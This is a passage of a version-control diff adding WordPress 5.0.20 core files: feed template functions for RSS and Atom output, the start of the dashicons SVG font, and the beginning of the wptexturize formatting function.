+function bloginfo_rss($show = '') {
+	/**
+	 * Filters the bloginfo for display in RSS feeds.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see get_bloginfo()
+	 *
+	 * @param string $rss_container RSS container for the blog information.
+	 * @param string $show          The type of blog information to retrieve.
+	 */
+	echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );
+}
+
+/**
+ * Retrieve the default feed.
+ *
+ * The default feed is 'rss2', unless a plugin changes it through the
+ * {@see 'default_feed'} filter.
+ *
+ * @since 2.5.0
+ *
+ * @return string Default feed, or for example 'rss2', 'atom', etc.
+ */
+function get_default_feed() {
+	/**
+	 * Filters the default feed type.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'.
+	 *                          Default 'rss2'.
+	 */
+	$default_feed = apply_filters( 'default_feed', 'rss2' );
+	return 'rss' == $default_feed ? 'rss2' : $default_feed;
+}
+
+/**
+ * Retrieve the blog title for the feed title.
+ *
+ * @since 2.2.0
+ * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
+ *
+ * @param string $deprecated Unused..
+ * @return string The document title.
+ */
+function get_wp_title_rss( $deprecated = '&#8211;' ) {
+	if ( '&#8211;' !== $deprecated ) {
+		/* translators: %s: 'document_title_separator' filter name */
+		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
+	}
+
+	/**
+	 * Filters the blog title for use as the feed title.
+	 *
+	 * @since 2.2.0
+	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
+	 *
+	 * @param string $title      The current blog title.
+	 * @param string $deprecated Unused.
+	 */
+	return apply_filters( 'get_wp_title_rss', wp_get_document_title(), $deprecated );
+}
+
+/**
+ * Display the blog title for display of the feed title.
+ *
+ * @since 2.2.0
+ * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
+ *
+ * @param string $deprecated Unused.
+ */
+function wp_title_rss( $deprecated = '&#8211;' ) {
+	if ( '&#8211;' !== $deprecated ) {
+		/* translators: %s: 'document_title_separator' filter name */
+		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
+	}
+
+	/**
+	 * Filters the blog title for display of the feed title.
+	 *
+	 * @since 2.2.0
+	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
+	 *
+	 * @see get_wp_title_rss()
+	 *
+	 * @param string $wp_title_rss The current blog title.
+	 * @param string $deprecated   Unused.
+	 */
+	echo apply_filters( 'wp_title_rss', get_wp_title_rss(), $deprecated );
+}
+
+/**
+ * Retrieve the current post title for the feed.
+ *
+ * @since 2.0.0
+ *
+ * @return string Current post title.
+ */
+function get_the_title_rss() {
+	$title = get_the_title();
+
+	/**
+	 * Filters the post title for use in a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $title The current post title.
+	 */
+	$title = apply_filters( 'the_title_rss', $title );
+	return $title;
+}
+
+/**
+ * Display the post title in the feed.
+ *
+ * @since 0.71
+ */
+function the_title_rss() {
+	echo get_the_title_rss();
+}
+
+/**
+ * Retrieve the post content for feeds.
+ *
+ * @since 2.9.0
+ * @see get_the_content()
+ *
+ * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
+ * @return string The filtered content.
+ */
+function get_the_content_feed($feed_type = null) {
+	if ( !$feed_type )
+		$feed_type = get_default_feed();
+
+	/** This filter is documented in wp-includes/post-template.php */
+	$content = apply_filters( 'the_content', get_the_content() );
+	$content = str_replace(']]>', ']]&gt;', $content);
+	/**
+	 * Filters the post content for use in feeds.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $content   The current post content.
+	 * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'.
+	 *                          Default 'rss2'.
+	 */
+	return apply_filters( 'the_content_feed', $content, $feed_type );
+}
+
+/**
+ * Display the post content for feeds.
+ *
+ * @since 2.9.0
+ *
+ * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
+ */
+function the_content_feed($feed_type = null) {
+	echo get_the_content_feed($feed_type);
+}
+
+/**
+ * Display the post excerpt for the feed.
+ *
+ * @since 0.71
+ */
+function the_excerpt_rss() {
+	$output = get_the_excerpt();
+	/**
+	 * Filters the post excerpt for a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $output The current post excerpt.
+	 */
+	echo apply_filters( 'the_excerpt_rss', $output );
+}
+
+/**
+ * Display the permalink to the post for use in feeds.
+ *
+ * @since 2.3.0
+ */
+function the_permalink_rss() {
+	/**
+	 * Filters the permalink to the post for use in feeds.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $post_permalink The current post permalink.
+	 */
+	echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) );
+}
+
+/**
+ * Outputs the link to the comments for the current post in an xml safe way
+ *
+ * @since 3.0.0
+ * @return none
+ */
+function comments_link_feed() {
+	/**
+	 * Filters the comments permalink for the current post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $comment_permalink The current comment permalink with
+	 *                                  '#comments' appended.
+	 */
+	echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
+}
+
+/**
+ * Display the feed GUID for the current comment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Comment $comment_id Optional comment object or id. Defaults to global comment object.
+ */
+function comment_guid($comment_id = null) {
+	echo esc_url( get_comment_guid($comment_id) );
+}
+
+/**
+ * Retrieve the feed GUID for the current comment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Comment $comment_id Optional comment object or id. Defaults to global comment object.
+ * @return false|string false on failure or guid for comment on success.
+ */
+function get_comment_guid($comment_id = null) {
+	$comment = get_comment($comment_id);
+
+	if ( !is_object($comment) )
+		return false;
+
+	return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID;
+}
+
+/**
+ * Display the link to the comments.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Introduced the `$comment` argument.
+ *
+ * @param int|WP_Comment $comment Optional. Comment object or id. Defaults to global comment object.
+ */
+function comment_link( $comment = null ) {
+	/**
+	 * Filters the current comment's permalink.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see get_comment_link()
+	 *
+	 * @param string $comment_permalink The current comment permalink.
+	 */
+	echo esc_url( apply_filters( 'comment_link', get_comment_link( $comment ) ) );
+}
+
+/**
+ * Retrieve the current comment author for use in the feeds.
+ *
+ * @since 2.0.0
+ *
+ * @return string Comment Author
+ */
+function get_comment_author_rss() {
+	/**
+	 * Filters the current comment author for use in a feed.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see get_comment_author()
+	 *
+	 * @param string $comment_author The current comment author.
+	 */
+	return apply_filters( 'comment_author_rss', get_comment_author() );
+}
+
+/**
+ * Display the current comment author in the feed.
+ *
+ * @since 1.0.0
+ */
+function comment_author_rss() {
+	echo get_comment_author_rss();
+}
+
+/**
+ * Display the current comment content for use in the feeds.
+ *
+ * @since 1.0.0
+ */
+function comment_text_rss() {
+	$comment_text = get_comment_text();
+	/**
+	 * Filters the current comment content for use in a feed.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_text The content of the current comment.
+	 */
+	$comment_text = apply_filters( 'comment_text_rss', $comment_text );
+	echo $comment_text;
+}
+
+/**
+ * Retrieve all of the post categories, formatted for use in feeds.
+ *
+ * All of the categories for the current post in the feed loop, will be
+ * retrieved and have feed markup added, so that they can easily be added to the
+ * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
+ *
+ * @since 2.1.0
+ *
+ * @param string $type Optional, default is the type returned by get_default_feed().
+ * @return string All of the post categories for displaying in the feed.
+ */
+function get_the_category_rss($type = null) {
+	if ( empty($type) )
+		$type = get_default_feed();
+	$categories = get_the_category();
+	$tags = get_the_tags();
+	$the_list = '';
+	$cat_names = array();
+
+	$filter = 'rss';
+	if ( 'atom' == $type )
+		$filter = 'raw';
+
+	if ( !empty($categories) ) foreach ( (array) $categories as $category ) {
+		$cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);
+	}
+
+	if ( !empty($tags) ) foreach ( (array) $tags as $tag ) {
+		$cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);
+	}
+
+	$cat_names = array_unique($cat_names);
+
+	foreach ( $cat_names as $cat_name ) {
+		if ( 'rdf' == $type )
+			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
+		elseif ( 'atom' == $type )
+			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );
+		else
+			$the_list .= "\t\t<category><![CDATA[" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . "]]></category>\n";
+	}
+
+	/**
+	 * Filters all of the post categories for display in a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $the_list All of the RSS post categories.
+	 * @param string $type     Type of feed. Possible values include 'rss2', 'atom'.
+	 *                         Default 'rss2'.
+	 */
+	return apply_filters( 'the_category_rss', $the_list, $type );
+}
+
+/**
+ * Display the post categories in the feed.
+ *
+ * @since 0.71
+ * @see get_the_category_rss() For better explanation.
+ *
+ * @param string $type Optional, default is the type returned by get_default_feed().
+ */
+function the_category_rss($type = null) {
+	echo get_the_category_rss($type);
+}
+
+/**
+ * Display the HTML type based on the blog setting.
+ *
+ * The two possible values are either 'xhtml' or 'html'.
+ *
+ * @since 2.2.0
+ */
+function html_type_rss() {
+	$type = get_bloginfo('html_type');
+	if (strpos($type, 'xhtml') !== false)
+		$type = 'xhtml';
+	else
+		$type = 'html';
+	echo $type;
+}
+
+/**
+ * Display the rss enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
+ * attributes.
+ *
+ * @since 1.5.0
+ */
+function rss_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = explode("\n", $enc);
+
+				// only get the first element, e.g. audio/mpeg from 'audio/mpeg mpga mp2 mp3'
+				$t = preg_split('/[ \t]/', trim($enclosure[2]) );
+				$type = $t[0];
+
+				/**
+				 * Filters the RSS enclosure HTML link tag for the current post.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
+				 */
+				echo apply_filters( 'rss_enclosure', '<enclosure url="' . esc_url( trim( $enclosure[0] ) ) . '" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( $type ) . '" />' . "\n" );
+			}
+		}
+	}
+}
+
+/**
+ * Display the atom enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
+ *
+ * @since 2.2.0
+ */
+function atom_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val ) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = explode("\n", $enc);
+				/**
+				 * Filters the atom enclosure HTML link tag for the current post.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
+				 */
+				echo apply_filters( 'atom_enclosure', '<link href="' . esc_url( trim( $enclosure[0] ) ) . '" rel="enclosure" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( trim( $enclosure[2] ) ) . '" />' . "\n" );
+			}
+		}
+	}
+}
+
+/**
+ * Determine the type of a string of data with the data formatted.
+ *
+ * Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1.
+ *
+ * In the case of WordPress, text is defined as containing no markup,
+ * xhtml is defined as "well formed", and html as tag soup (i.e., the rest).
+ *
+ * Container div tags are added to xhtml values, per section 3.1.1.3.
+ *
+ * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
+ *
+ * @since 2.5.0
+ *
+ * @param string $data Input string
+ * @return array array(type, value)
+ */
+function prep_atom_text_construct($data) {
+	if (strpos($data, '<') === false && strpos($data, '&') === false) {
+		return array('text', $data);
+	}
+
+	if ( ! function_exists( 'xml_parser_create' ) ) {
+		trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
+
+		return array( 'html', "<![CDATA[$data]]>" );
+	}
+
+	$parser = xml_parser_create();
+	xml_parse($parser, '<div>' . $data . '</div>', true);
+	$code = xml_get_error_code($parser);
+	xml_parser_free($parser);
+
+	if (!$code) {
+		if (strpos($data, '<') === false) {
+			return array('text', $data);
+		} else {
+			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
+			return array('xhtml', $data);
+		}
+	}
+
+	if (strpos($data, ']]>') === false) {
+		return array('html', "<![CDATA[$data]]>");
+	} else {
+		return array('html', htmlspecialchars($data));
+	}
+}
+
+/**
+ * Displays Site Icon in atom feeds.
+ *
+ * @since 4.3.0
+ *
+ * @see get_site_icon_url()
+ */
+function atom_site_icon() {
+	$url = get_site_icon_url( 32 );
+	if ( $url ) {
+		echo "<icon>$url</icon>\n";
+	}
+}
+
+/**
+ * Displays Site Icon in RSS2.
+ *
+ * @since 4.3.0
+ */
+function rss2_site_icon() {
+	$rss_title = get_wp_title_rss();
+	if ( empty( $rss_title ) ) {
+		$rss_title = get_bloginfo_rss( 'name' );
+	}
+
+	$url = get_site_icon_url( 32 );
+	if ( $url ) {
+		echo '
+<image>
+	<url>' . convert_chars( $url ) . '</url>
+	<title>' . $rss_title . '</title>
+	<link>' . get_bloginfo_rss( 'url' ) . '</link>
+	<width>32</width>
+	<height>32</height>
+</image> ' . "\n";
+	}
+}
+
+/**
+ * Display the link for the currently displayed feed in a XSS safe way.
+ *
+ * Generate a correct link for the atom:self element.
+ *
+ * @since 2.5.0
+ */
+function self_link() {
+	$host = @parse_url(home_url());
+	/**
+	 * Filters the current feed URL.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see set_url_scheme()
+	 * @see wp_unslash()
+	 *
+	 * @param string $feed_link The link for the feed with set URL scheme.
+	 */
+	echo esc_url( apply_filters( 'self_link', set_url_scheme( 'http://' . $host['host'] . wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
+}
+
+/**
+ * Return the content type for specified feed type.
+ *
+ * @since 2.8.0
+ *
+ * @param string $type Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
+ */
+function feed_content_type( $type = '' ) {
+	if ( empty($type) )
+		$type = get_default_feed();
+
+	$types = array(
+		'rss'      => 'application/rss+xml',
+		'rss2'     => 'application/rss+xml',
+		'rss-http' => 'text/xml',
+		'atom'     => 'application/atom+xml',
+		'rdf'      => 'application/rdf+xml'
+	);
+
+	$content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream';
+
+	/**
+	 * Filters the content type for a specific feed type.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $content_type Content type indicating the type of data that a feed contains.
+	 * @param string $type         Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
+	 */
+	return apply_filters( 'feed_content_type', $content_type, $type );
+}
+
+/**
+ * Build SimplePie object based on RSS or Atom feed from URL.
+ *
+ * @since 2.8.0
+ *
+ * @param mixed $url URL of feed to retrieve. If an array of URLs, the feeds are merged
+ * using SimplePie's multifeed feature.
+ * See also {@link ​http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
+ *
+ * @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success
+ */
+function fetch_feed( $url ) {
+	if ( ! class_exists( 'SimplePie', false ) ) {
+		require_once( ABSPATH . WPINC . '/class-simplepie.php' );
+	}
+
+	require_once( ABSPATH . WPINC . '/class-wp-feed-cache.php' );
+	require_once( ABSPATH . WPINC . '/class-wp-feed-cache-transient.php' );
+	require_once( ABSPATH . WPINC . '/class-wp-simplepie-file.php' );
+	require_once( ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php' );
+
+	$feed = new SimplePie();
+
+	$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
+	// We must manually overwrite $feed->sanitize because SimplePie's
+	// constructor sets it before we have a chance to set the sanitization class
+	$feed->sanitize = new WP_SimplePie_Sanitize_KSES();
+
+	$feed->set_cache_class( 'WP_Feed_Cache' );
+	$feed->set_file_class( 'WP_SimplePie_File' );
+
+	$feed->set_feed_url( $url );
+	/** This filter is documented in wp-includes/class-wp-feed-cache-transient.php */
+	$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );
+	/**
+	 * Fires just before processing the SimplePie feed object.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param object $feed SimplePie feed object (passed by reference).
+	 * @param mixed  $url  URL of feed to retrieve. If an array of URLs, the feeds are merged.
+	 */
+	do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );
+	$feed->init();
+	$feed->set_output_encoding( get_option( 'blog_charset' ) );
+
+	if ( $feed->error() )
+		return new WP_Error( 'simplepie-error', $feed->error() );
+
+	return $feed;
+}
Index: /tags/5.0.20/src/wp-includes/fonts/dashicons.svg
===================================================================
--- /tags/5.0.20/src/wp-includes/fonts/dashicons.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/fonts/dashicons.svg	(revision 56912)
@@ -0,0 +1,269 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata></metadata>
+<defs>
+<font id="dashicons" horiz-adv-x="2000" >
+<font-face units-per-em="2000" ascent="2000" descent="0" />
+<missing-glyph horiz-adv-x="500" />
+<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
+<glyph unicode="&#xf100;" d="M1448 894l-707 707l150 150q25 28 85 34.5t134 -11t132 -55.5q45 -30 126.5 -97t164.5 -113q43 -24 73 -38t76.5 -30.5t87.5 -23t95.5 -6t112.5 12.5zM1377 823l-707 707l-177 -177q-29 -29 -29 -70.5t29 -70.5l106 -106q29 -29 29 -71t-29 -71q-27 -27 -61.5 -54 t-86 -63t-73.5 -52q-66 -49 -101 -84q-52 -52 -92 -108.5t-64 -113t-20.5 -108.5t39.5 -88t88 -39.5t108.5 20.5t113 63.5t108.5 91.5q34 34 85 102q13 17 51 72t64 88.5t54 60.5q29 29 70.5 29t70.5 -29l106 -106q29 -29 70.5 -29t70.5 29z" />
+<glyph unicode="&#xf101;" d="M500 1800h900q82 0 141 -59t59 -141v-700q0 -82 -59 -141t-141 -59h-200l-500 -500v500h-200q-82 0 -141 59t-59 141v700q0 82 59 141t141 59z" />
+<glyph unicode="&#xf102;" d="M1600 1150l153 -153l-106 -106l-647 647l-647 -647l-106 106l753 753l400 -400v200h200v-400zM1000 1396l600 -599v-597h-1200v597zM1200 300v500h-400v-500h400z" />
+<glyph unicode="&#xf103;" d="M1774 1724q126 -127 126 -305t-126 -305l-153 -152q-82 -82 -195 -110.5t-219 1.5l262 261l76 77l76 76q63 63 63 152t-63 152q-63 64 -152 64t-152 -64l-77 -76l-338 -338q-29 106 -0.5 219t110.5 195l152 153q127 126 305.5 126t304.5 -126zM859 657l534 534 q31 31 31 76t-31 76q-34 32 -78 31t-75 -31l-533 -534q-31 -31 -31 -76t31 -76q34 -32 78 -31t74 31zM783 428l414 415q30 -106 1.5 -219t-110.5 -195l-152 -153q-127 -126 -305 -126t-305 126q-126 126 -126 305t126 305l153 152q82 82 195 110.5t219 -0.5l-414 -415 q-64 -63 -64 -152t64 -153q63 -63 152 -63t152 63z" />
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Index: /tags/5.0.20/src/wp-includes/formatting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/formatting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/formatting.php	(revision 56912)
@@ -0,0 +1,5488 @@
+<?php
+/**
+ * Main WordPress Formatting API.
+ *
+ * Handles many functions for formatting output.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Replaces common plain text characters into formatted entities
+ *
+ * As an example,
+ *
+ *     'cause today's effort makes it worth tomorrow's "holiday" ...
+ *
+ * Becomes:
+ *
+ *     &#8217;cause today&#8217;s effort makes it worth tomorrow&#8217;s &#8220;holiday&#8221; &#8230;
+ *
+ * Code within certain html blocks are skipped.
+ *
+ * Do not use this function before the {@see 'init'} action hook; everything will break.
+ *
+ * @since 0.71
+ *
+ * @global array $wp_cockneyreplace Array of formatted entities for certain common phrases
+ * @global array $shortcode_tags
+ * @staticvar array  $static_characters
+ * @staticvar array  $static_replacements
+ * @staticvar array  $dynamic_characters
+ * @staticvar array  $dynamic_replacements
+ * @staticvar array  $default_no_texturize_tags
+ * @staticvar array  $default_no_texturize_shortcodes
+ * @staticvar bool   $run_texturize
+ * @staticvar string $apos
+ * @staticvar string $prime
+ * @staticvar string $double_prime
+ * @staticvar string $opening_quote
+ * @staticvar string $closing_quote
+ * @staticvar string $opening_single_quote
+ * @staticvar string $closing_single_quote
+ * @staticvar string $open_q_flag
+ * @staticvar string $open_sq_flag
+ * @staticvar string $apos_flag
+ *
+ * @param string $text The text to be formatted
+ * @param bool   $reset Set to true for unit testing. Translated patterns will reset.
+ * @return string The string replaced with html entities
+ */
+function wptexturize( $text, $reset = false ) {
+	global $wp_cockneyreplace, $shortcode_tags;
+	static $static_characters = null,
+		$static_replacements = null,
+		$dynamic_characters = null,
+		$dynamic_replacements = null,
+		$default_no_texturize_tags = null,
+		$default_no_texturize_shortcodes = null,
+		$run_texturize = true,
+		$apos = null,
+		$prime = null,
+		$double_prime = null,
+		$opening_quote = null,
+		$closing_quote = null,
+		$opening_single_quote = null,
+		$closing_single_quote = null,
+		$open_q_flag = '<!--oq-->',
+		$open_sq_flag = '<!--osq-->',
+		$apos_flag = '<!--apos-->';
+
+	// If there's nothing to do, just stop.
+	if ( empty( $text ) || false === $run_texturize ) {
+		return $text;
+	}
+
+	// Set up static variables. Run once only.
+	if ( $reset || ! isset( $static_characters ) ) {
+		/**
+		 * Filters whether to skip running wptexturize().
+		 *
+		 * Passing false to the filter will effectively short-circuit wptexturize().
+		 * returning the original text passed to the function instead.
+		 *
+		 * The filter runs only once, the first time wptexturize() is called.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see wptexturize()
+		 *
+		 * @param bool $run_texturize Whether to short-circuit wptexturize().
+		 */
+		$run_texturize = apply_filters( 'run_wptexturize', $run_texturize );
+		if ( false === $run_texturize ) {
+			return $text;
+		}
+
+		/* translators: opening curly double quote */
+		$opening_quote = _x( '&#8220;', 'opening curly double quote' );
+		/* translators: closing curly double quote */
+		$closing_quote = _x( '&#8221;', 'closing curly double quote' );
+
+		/* translators: apostrophe, for example in 'cause or can't */
+		$apos = _x( '&#8217;', 'apostrophe' );
+
+		/* translators: prime, for example in 9' (nine feet) */
+		$prime = _x( '&#8242;', 'prime' );
+		/* translators: double prime, for example in 9" (nine inches) */
+		$double_prime = _x( '&#8243;', 'double prime' );
+
+		/* translators: opening curly single quote */
+		$opening_single_quote = _x( '&#8216;', 'opening curly single quote' );
+		/* translators: closing curly single quote */
+		$closing_single_quote = _x( '&#8217;', 'closing curly single quote' );
+
+		/* translators: en dash */
+		$en_dash = _x( '&#8211;', 'en dash' );
+		/* translators: em dash */
+		$em_dash = _x( '&#8212;', 'em dash' );
+
+		$default_no_texturize_tags = array('pre', 'code', 'kbd', 'style', 'script', 'tt');
+		$default_no_texturize_shortcodes = array('code');
+
+		// if a plugin has provided an autocorrect array, use it
+		if ( isset($wp_cockneyreplace) ) {
+			$cockney = array_keys( $wp_cockneyreplace );
+			$cockneyreplace = array_values( $wp_cockneyreplace );
+		} else {
+			/* translators: This is a comma-separated list of words that defy the syntax of quotations in normal use,
+			 * for example...  'We do not have enough words yet' ... is a typical quoted phrase.  But when we write
+			 * lines of code 'til we have enough of 'em, then we need to insert apostrophes instead of quotes.
+			 */
+			$cockney = explode( ',', _x( "'tain't,'twere,'twas,'tis,'twill,'til,'bout,'nuff,'round,'cause,'em",
+				'Comma-separated list of words to texturize in your language' ) );
+
+			$cockneyreplace = explode( ',', _x( '&#8217;tain&#8217;t,&#8217;twere,&#8217;twas,&#8217;tis,&#8217;twill,&#8217;til,&#8217;bout,&#8217;nuff,&#8217;round,&#8217;cause,&#8217;em',
+				'Comma-separated list of replacement words in your language' ) );
+		}
+
+		$static_characters = array_merge( array( '...', '``', '\'\'', ' (tm)' ), $cockney );
+		$static_replacements = array_merge( array( '&#8230;', $opening_quote, $closing_quote, ' &#8482;' ), $cockneyreplace );
+
+
+		// Pattern-based replacements of characters.
+		// Sort the remaining patterns into several arrays for performance tuning.
+		$dynamic_characters = array( 'apos' => array(), 'quote' => array(), 'dash' => array() );
+		$dynamic_replacements = array( 'apos' => array(), 'quote' => array(), 'dash' => array() );
+		$dynamic = array();
+		$spaces = wp_spaces_regexp();
+
+		// '99' and '99" are ambiguous among other patterns; assume it's an abbreviated year at the end of a quotation.
+		if ( "'" !== $apos || "'" !== $closing_single_quote ) {
+			$dynamic[ '/\'(\d\d)\'(?=\Z|[.,:;!?)}\-\]]|&gt;|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_single_quote;
+		}
+		if ( "'" !== $apos || '"' !== $closing_quote ) {
+			$dynamic[ '/\'(\d\d)"(?=\Z|[.,:;!?)}\-\]]|&gt;|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_quote;
+		}
+
+		// '99 '99s '99's (apostrophe)  But never '9 or '99% or '999 or '99.0.
+		if ( "'" !== $apos ) {
+			$dynamic[ '/\'(?=\d\d(?:\Z|(?![%\d]|[.,]\d)))/' ] = $apos_flag;
+		}
+
+		// Quoted Numbers like '0.42'
+		if ( "'" !== $opening_single_quote && "'" !== $closing_single_quote ) {
+			$dynamic[ '/(?<=\A|' . $spaces . ')\'(\d[.,\d]*)\'/' ] = $open_sq_flag . '$1' . $closing_single_quote;
+		}
+
+		// Single quote at start, or preceded by (, {, <, [, ", -, or spaces.
+		if ( "'" !== $opening_single_quote ) {
+			$dynamic[ '/(?<=\A|[([{"\-]|&lt;|' . $spaces . ')\'/' ] = $open_sq_flag;
+		}
+
+		// Apostrophe in a word.  No spaces, double apostrophes, or other punctuation.
+		if ( "'" !== $apos ) {
+			$dynamic[ '/(?<!' . $spaces . ')\'(?!\Z|[.,:;!?"\'(){}[\]\-]|&[lg]t;|' . $spaces . ')/' ] = $apos_flag;
+		}
+
+		$dynamic_characters['apos'] = array_keys( $dynamic );
+		$dynamic_replacements['apos'] = array_values( $dynamic );
+		$dynamic = array();
+
+		// Quoted Numbers like "42"
+		if ( '"' !== $opening_quote && '"' !== $closing_quote ) {
+			$dynamic[ '/(?<=\A|' . $spaces . ')"(\d[.,\d]*)"/' ] = $open_q_flag . '$1' . $closing_quote;
+		}
+
+		// Double quote at start, or preceded by (, {, <, [, -, or spaces, and not followed by spaces.
+		if ( '"' !== $opening_quote ) {
+			$dynamic[ '/(?<=\A|[([{\-]|&lt;|' . $spaces . ')"(?!' . $spaces . ')/' ] = $open_q_flag;
+		}
+
+		$dynamic_characters['quote'] = array_keys( $dynamic );
+		$dynamic_replacements['quote'] = array_values( $dynamic );
+		$dynamic = array();
+
+		// Dashes and spaces
+		$dynamic[ '/---/' ] = $em_dash;
+		$dynamic[ '/(?<=^|' . $spaces . ')--(?=$|' . $spaces . ')/' ] = $em_dash;
+		$dynamic[ '/(?<!xn)--/' ] = $en_dash;
+		$dynamic[ '/(?<=^|' . $spaces . ')-(?=$|' . $spaces . ')/' ] = $en_dash;
+
+		$dynamic_characters['dash'] = array_keys( $dynamic );
+		$dynamic_replacements['dash'] = array_values( $dynamic );
+	}
+
+	// Must do this every time in case plugins use these filters in a context sensitive manner
+	/**
+	 * Filters the list of HTML elements not to texturize.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $default_no_texturize_tags An array of HTML element names.
+	 */
+	$no_texturize_tags = apply_filters( 'no_texturize_tags', $default_no_texturize_tags );
+	/**
+	 * Filters the list of shortcodes not to texturize.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $default_no_texturize_shortcodes An array of shortcode names.
+	 */
+	$no_texturize_shortcodes = apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes );
+
+	$no_texturize_tags_stack = array();
+	$no_texturize_shortcodes_stack = array();
+
+	// Look for shortcodes and HTML elements.
+
+	preg_match_all( '@\[/?([^<>&/\[\]\x00-\x20=]++)@', $text, $matches );
+	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );
+	$found_shortcodes = ! empty( $tagnames );
+	$shortcode_regex = $found_shortcodes ? _get_wptexturize_shortcode_regex( $tagnames ) : '';
+	$regex = _get_wptexturize_split_regex( $shortcode_regex );
+
+	$textarr = preg_split( $regex, $text, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
+
+	foreach ( $textarr as &$curl ) {
+		// Only call _wptexturize_pushpop_element if $curl is a delimiter.
+		$first = $curl[0];
+		if ( '<' === $first ) {
+			if ( '<!--' === substr( $curl, 0, 4 ) ) {
+				// This is an HTML comment delimiter.
+				continue;
+			} else {
